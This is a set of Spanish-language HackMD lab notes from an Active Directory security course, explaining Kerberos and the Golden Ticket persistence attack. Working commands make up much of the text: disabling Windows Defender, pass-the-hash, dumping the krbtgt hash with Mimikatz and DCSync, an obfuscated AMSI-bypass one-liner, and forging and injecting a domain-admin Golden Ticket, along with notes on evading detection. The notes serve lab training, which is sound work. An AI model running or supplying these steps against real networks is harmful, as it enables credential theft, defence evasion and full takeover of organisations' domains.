Try   HackMD

8. Domain Persistence Part 1

Sobre Kerberos

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Digamos que queremos acceder al Servidor de Aplicaciones(AS) desde la máquina cliente perteneciente al AD.

Nuestro Cliente envia una solicitud o marca de tiempo al KDC/DC (Centro de distribucion de claves) cuya marca de tiempo está encriptada y firmada con el hash ntlm de la contraseña del usuario. Esto es para afirmar que la solicitud en realidad proviene del usuario del que dice ser, por lo que, la marca de tiempo(timestap) se envía al kdc o al dc y se cifra con el hash ntlm de la contraseña del usuario.

El DC al final del paso 1, el controlador de dominio lo recibe y descifra el timestap encriptado, ¿cómo puede descifrarlo el controlador de dominio? Porque el controlador de dominio tiene acceso a todos los hashes en el dominio, el dc descifra la marca de tiempo encriptada, asegura que esta solicitud proviene realmente del usuario que dice ser, y luego responde con un TGT.

Ahora el TGT, que es un boleto se envía al cliente, este boleto está encriptado y firmado con el hash ntlm de una cuenta especial del controlador del dominio llamada krbtgt. Esta cuenta en particular se usa específicamente para este propósito, al final del paso 2, el cliente recibe el TGT y envía el TGT de regreso al DC porque el cliente no puede recoger el TGT dado que está encriptado con el hash NTLM o rc4 de la contraseña krbtgt que el cliente no tiene, solo el dc o los DC tendrán eso.

Paso 3, el cliente envia el TGT de vuelta ya que está encriptado y solicita un TGS para un servicio, un TGS es un boleto que otorga acceso a un servicio, para que el cliente devuelva o la máquina del cliente devuelva el tgt y solicite el tgs para el servidor de aplicaciones.

Al final del paso 3, el KDC recibe el TGT y lo descifra porque el KDC tiene el hash ntlm de la cuenta krbtgt para que descifre el tgt. Esta es la única validación que se realiza si el kdc puede descifrar el tgt, esta es la única validacion que se realiza si el kdc puede descifrar el tgt asume que todo lo que está escrito dentro del TGT es válido.

Una vez se descifra el TGT, el DC responde con el TGS, tenga en cuenta que el DC no tiene otra función que completar el certificado de acceso privilegiado. El DC no tiene otra función en la autorizacion aparte de poner el grupo de usuario en la parte posterior y la respuesta.

El paso 4 responde a los TGS, ahora puede ver que ninguna información importante cruza el cable sin cifrar. En el mismo caso para este paso, el TGS se envía de vuelta al cliente de DC que está encriptado usando el servicio de destino para que el cliente no pueda descifrarlo, solo el servidor de aplicaciones lo descifrará

En el fin del paso el cliente o el usuario se conecta al servidor de aplicaciones y presenta los TGS que recibio del DC al servicio, ahora, debido a que le TGS está cifrado con la cuenta de servicio de la aplicacion, puede descifrar los TGS. Este descifra los TGS y luego decide sobre los privilegios del usuario si el usuario puede acceder al servicio o no, y en caso afirmativo qué privilegios se pueden usar.

Puede que haya una solicitud de validacion adicional de paquete opcional(PAC) que no esté habilitado de forma predeterminada; de lo contrario, existe el riesgo de atacar el DC con estas solicitudes.

  • NTLM password hash for Kerberos RC4 encryption
  • Logon Ticket (TGT) provides user auth to DC
  • Kerberos policy only checked when TGT is created
  • DC validates user account only when TGT > 20 mins
  • Service Ticket (TGS) PAC validation is optional & rare
    Server LSASS sends PAC Validation request to DC's netlogon service (NRPC)
    If it runs as a service, PAC validation is optional(disabled)
    If a service runs as System, it performs server signature verification on the PAC

Persistence - Golden Ticket

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

En el paso 3 cuando la máquina presentó un TGT encriptado al KDC ¿cuál fue la única validacion? La única validacion fue si el DC puede descifrar el TGT, eso significa que si podemos falsificar un TGT al comienzo del paso 3 y presentarle al DC, el DC considerará válido todo lo que escriba dentro y es por eso que podemos crear un boleto dorado para cuentas deshabilitadas o eliminadas porque la validación de la cuenta se lleva a cabo solo cuando la vida útil del tgt es más de 20 minutos

  • A golden ticket is signed and encrypted by the hash of krbtgt account which makes it a valid TGT ticket.
  • Since user account validation is not done by Domain Controller(KDC service) until TGT is older than 20 minutes, we can use even deleted/revoked accounts.
  • The krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine.
  • Password change has no effect on this attack.

¿Qué es un boleto dorado?

Es un TGT válido, firmado y encriptado por el hash krbtgt, una vez mas, porque la validacion de la cuenta no la realiza el kdc hasta que TGT tiene más de 20 min, podemos usar incluso cuentas eliminadas o revocadas. Ahora, ese hash en particular se puede usar para suplantar a cualquier usuario con cualquier privilegio porque podemos escribir cualquier TGT aqui, la unica validacion es que, si el TGT se puede descifrar con el hash de la cuenta krbtgt.

Execute mimikatz on DC as DA to get krbtgt hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' - Computername dcorp-dc

Lo siguiente se ejecuta en una PS con privilegios de administrador.

Se deshabilita el Windows Defender:

Set-MpPreference -DisableRealtimeMonitoring $true

Se carga el Mimikatz:

. C:\AD\Tools\Invoke-Mimikatz.ps1

Y se ejecuta el siguiente comando para obtener una sesión de powershell con los privilegios de administrador de dominio:

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8"'

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Se genera un nuevo proceso con privilegios de dominio:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ahora se quiere ejecutar Mimikatz en el Domain Controller para ello se crea una sesión y se carga la secuencia de comandos:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local
Invoke-Command -Session $sess -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1
Enter-PSSession -Session $sess

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Obs: En este caso no se hace uso del parámetro -Computername dcorp-dc

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Y ahora se cuenta con el hash NTLM del usuario krtgt:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Bypass AMSI

Antes se cargo la secuencia de comandos en la memoria del proceso de progreso de wsm en la CC pero AMSI aún lo detectaría. Por ello el uso del bypass:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Una vez se obtiene el hash de la cuenta KRBTGT se puede usar el siguiente comando para crear un boleto dorado:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Obs: La diferencia entre /ptt y /ticket es que el primero inyecta el ticket en el proceso actual de Powershell y el segundo necesita guardar el ticket en el escritorio. Una buena razón para usar /ptt es que las herramientas avanzadas de amenazas busca esos TGT's que se crearon y por lo que si lo purgamos una vez haya terminado nuestro trabajo, cualquier herramienta que busque la duración de nuestra vida útil de nuestro propio TGT(si se encuentra dentro) la política no nos detectará bien y además es más fácil exfiltrarlo.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

On any machine

Vamos a ejecutar este comando desde una consola powershell que no sea administrador

. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /krbtgt:a9b30asds65sad4as6 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Esto nos dice que sería el Administrator que se suplantaría.

klist

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Y vemos que se tiene un TGT con derechos de administrador de dominio, lo que significa que podemos acceder a cualquier servicio en el dominio.

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

klist

Debido a que tenemos un TGT como Administrator, podemos solicitar un TGS para el servicio cifs que es un sistema de archivos en el DC.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

To use the DCSync feature for getting krbtgt hash execute the below command with DA privileges:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:ops\krbtgt"'

Y también se puede extraer el Hash NTLM de la cuenta krbtgt.

Using the DCSync option needs no code execution(no need to run Invoke-Mimikatz) on the target DC.

Learning Objective 8

  • Dump hashes on the domain controller of dollarcorp.moneycorp.local.
  • Using the NTLM hash of krbtgt account, create a Golden ticket.
  • Use the Golden ticket to (once again) get domain admin privileges from a machine

Solución

Tenemos privilegios de administrador de dominio (volcar los hashes NTLM de svcadmin de dcorp-mgmt). Usemos el siguiente comando para volcar todos los hashes del controlador de dominio. Recuerde que los siguientes comandos deben ser ejecutados desde una sesión de PowerShell con privilegios de DA en su máquina 172.16.100.X

PS C:\Windows\System32> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\System32> cd C:\AD\Tools

Crea una sesión remota e ingresa a dcorp-dc :

PS C:\AD\Tools> $sess = New-PSSession -ComputerName dcorp-dc
PS C:\AD\Tools> Enter-PSSession $sess

Realiza bypass al AMSI en la máquina dcorp-dc:

[dcorp-dc]: PS C:\Users\svcadmin\Documents> sET-ItEM ( 'V'+'aR' + 'IA' +
'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-
VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"((
"{6}{3}{1}{4}{2}{0}{5}" -
f'Util','A','Amsi','.Management.','utomation.','s','System' )
)."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),(
"{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )

Ejecuta el script ubicado en .\Invoke-Mimikatz.ps1 en la sesión $sess(dcorp-dc) y luego ingresa:

[dcorp-dc]: PS C:\Users\svcadmin\Documents> exit
PS C:\AD\Tools> Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
PS C:\AD\Tools> Enter-PSSession $sess
[dcorp-dc]: PS C:\Users\svcadmin\Documents> Invoke-Mimikatz -Command
'"lsadump::lsa /patch"'

Ahora, en cualquier máquina, aunque no forme parte del dominio pero pueda alcanzar dcorp-dc a través de la red, podemos utilizar la información del comando anterior para crear un Golden Ticket.

Tenga en cuenta que la cuenta krbtgt puede ser modificada y el hash que obtenga en el laboratorio podría ser diferente al de este manual:

PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<dominio> /sid:<sid_dominio> /krbtgt:<hash_krbtgt> id:<id_krbtgt> /groups:<group> /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

PS C:\AD\Tools> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

Obtiene el sistema de un ordenador remoto. El parámetro ComputerName especifica la dirección IP de un ordenador remoto. Por defecto, la cuenta de usuario actual debe ser miembro del grupo Administradores en el ordenador remoto

PS C:\AD\Tools> gwmi -Class win32_computersystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local